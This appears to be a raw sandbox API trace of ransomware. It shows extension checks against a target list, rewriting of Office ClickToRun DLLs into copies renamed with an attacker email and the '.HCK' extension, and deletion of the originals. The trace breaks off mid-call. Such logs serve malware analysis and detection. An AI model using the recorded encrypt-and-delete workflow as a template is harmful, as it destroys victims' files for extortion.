lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0159.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.170] lstrlenW (lpString=".zip") returned 4 [0159.170] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0159.170] lstrlenW (lpString=".rar") returned 4 [0159.170] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0159.170] lstrlenW (lpString=".bz2") returned 4 [0159.170] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0159.170] lstrlenW (lpString=".7z") returned 3 [0159.170] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0159.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.170] lstrlenW (lpString=".dbf") returned 4 [0159.170] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0159.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.170] lstrlenW (lpString=".1cd") returned 4 [0159.170] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.171] lstrlenW (lpString=".jpg") returned 4 [0159.171] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.171] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.171] lstrlenW (lpString=".doc") returned 4 [0159.171] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString=".docx") returned 5 [0159.171] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0159.171] lstrlenW (lpString=".pdf") returned 4 [0159.171] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString=".xls") returned 4 [0159.171] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString=".xlsx") returned 5 [0159.171] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0159.171] lstrlenW (lpString=".ppt") returned 4 [0159.171] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.171] lstrlenW (lpString=".zip") returned 4 [0159.171] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString=".rar") returned 4 [0159.171] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString=".bz2") returned 4 [0159.171] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString=".7z") returned 3 [0159.171] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0159.171] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.171] lstrlenW (lpString=".dbf") returned 4 [0159.171] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.171] lstrlenW (lpString=".1cd") returned 4 [0159.171] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0159.171] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0159.171] lstrlenW (lpString=".jpg") returned 4 [0159.171] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0159.171] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.171] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0159.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.172] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19648) returned 1 [0159.172] CloseHandle (hObject=0x2e8) returned 1 [0159.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0159.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.172] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.172] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.172] GetLastError () returned 0x0 [0159.172] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0159.174] WriteFile (in: hFile=0x38c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0159.174] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.175] WriteFile (in: hFile=0x38c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x110, lpOverlapped=0x0) returned 1 [0159.175] SetEndOfFile (hFile=0x38c) returned 1 [0159.175] CloseHandle (hObject=0x38c) returned 1 [0159.176] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.176] SetEndOfFile (hFile=0x2e8) returned 1 [0159.177] CloseHandle (hObject=0x2e8) returned 1 [0159.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.177] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0159.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.177] lstrlenW (lpString=".doc") returned 4 [0159.177] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.177] lstrlenW (lpString=".docx") returned 5 [0159.177] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.177] lstrlenW (lpString=".pdf") returned 4 [0159.177] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.177] lstrlenW (lpString=".xls") returned 4 [0159.177] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.177] lstrlenW (lpString=".xlsx") returned 5 [0159.177] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.177] lstrlenW (lpString=".ppt") returned 4 [0159.177] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".zip") returned 4 [0159.178] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString=".rar") returned 4 [0159.178] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString=".bz2") returned 4 [0159.178] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.178] lstrlenW (lpString=".7z") returned 3 [0159.178] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".dbf") returned 4 [0159.178] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".1cd") returned 4 [0159.178] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".jpg") returned 4 [0159.178] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".doc") returned 4 [0159.178] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString=".docx") returned 5 [0159.178] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.178] lstrlenW (lpString=".pdf") returned 4 [0159.178] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString=".xls") returned 4 [0159.178] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString=".xlsx") returned 5 [0159.178] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.178] lstrlenW (lpString=".ppt") returned 4 [0159.178] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".zip") returned 4 [0159.178] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString=".rar") returned 4 [0159.178] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.178] lstrlenW (lpString=".bz2") returned 4 [0159.178] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.178] lstrlenW (lpString=".7z") returned 3 [0159.178] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".dbf") returned 4 [0159.178] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".1cd") returned 4 [0159.178] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0159.178] lstrlenW (lpString=".jpg") returned 4 [0159.178] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.179] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.179] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0159.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.179] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19136) returned 1 [0159.179] CloseHandle (hObject=0x2e8) returned 1 [0159.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0159.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.180] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.180] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.181] GetLastError () returned 0x0 [0159.181] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0159.183] WriteFile (in: hFile=0x38c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0159.183] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.184] WriteFile (in: hFile=0x38c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x114, lpOverlapped=0x0) returned 1 [0159.184] SetEndOfFile (hFile=0x38c) returned 1 [0159.184] CloseHandle (hObject=0x38c) returned 1 [0159.186] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.186] SetEndOfFile (hFile=0x2e8) returned 1 [0159.186] CloseHandle (hObject=0x2e8) returned 1 [0159.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.187] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0159.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.187] lstrlenW (lpString=".doc") returned 4 [0159.187] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.187] lstrlenW (lpString=".docx") returned 5 [0159.187] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.187] lstrlenW (lpString=".pdf") returned 4 [0159.187] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.187] lstrlenW (lpString=".xls") returned 4 [0159.187] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.187] lstrlenW (lpString=".xlsx") returned 5 [0159.187] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.187] lstrlenW (lpString=".ppt") returned 4 [0159.187] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.187] lstrlenW (lpString=".zip") returned 4 [0159.187] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.187] lstrlenW (lpString=".rar") returned 4 [0159.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".bz2") returned 4 [0159.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString=".7z") returned 3 [0159.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString=".dbf") returned 4 [0159.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString=".1cd") returned 4 [0159.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString=".jpg") returned 4 [0159.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString=".doc") returned 4 [0159.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".docx") returned 5 [0159.188] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.188] lstrlenW (lpString=".pdf") returned 4 [0159.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".xls") returned 4 [0159.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".xlsx") returned 5 [0159.188] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.188] lstrlenW (lpString=".ppt") returned 4 [0159.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString=".zip") returned 4 [0159.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".rar") returned 4 [0159.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.188] lstrlenW (lpString=".bz2") returned 4 [0159.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString=".7z") returned 3 [0159.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString=".dbf") returned 4 [0159.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString=".1cd") returned 4 [0159.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0159.188] lstrlenW (lpString=".jpg") returned 4 [0159.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.188] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0159.189] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0159.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.189] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=27840) returned 1 [0159.189] CloseHandle (hObject=0x2e8) returned 1 [0159.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0159.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0159.190] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.190] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.190] GetLastError () returned 0x0 [0159.190] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0159.192] WriteFile (in: hFile=0x38c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0159.193] ReadFile (in: hFile=0x2e8, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.194] WriteFile (in: hFile=0x38c, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x110, lpOverlapped=0x0) returned 1 [0159.194] SetEndOfFile (hFile=0x38c) returned 1 [0159.194] CloseHandle (hObject=0x38c) returned 1 [0159.195] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.195] SetEndOfFile (hFile=0x2e8) returned 1 [0159.196] CloseHandle (hObject=0x2e8) returned 1 [0159.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0159.197] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0159.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0159.197] lstrlenW (lpString=".doc") returned 4 [0159.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.197] lstrlenW (lpString=".docx") returned 5 [0159.197] lstrcmpiW (lpString1=".docx", 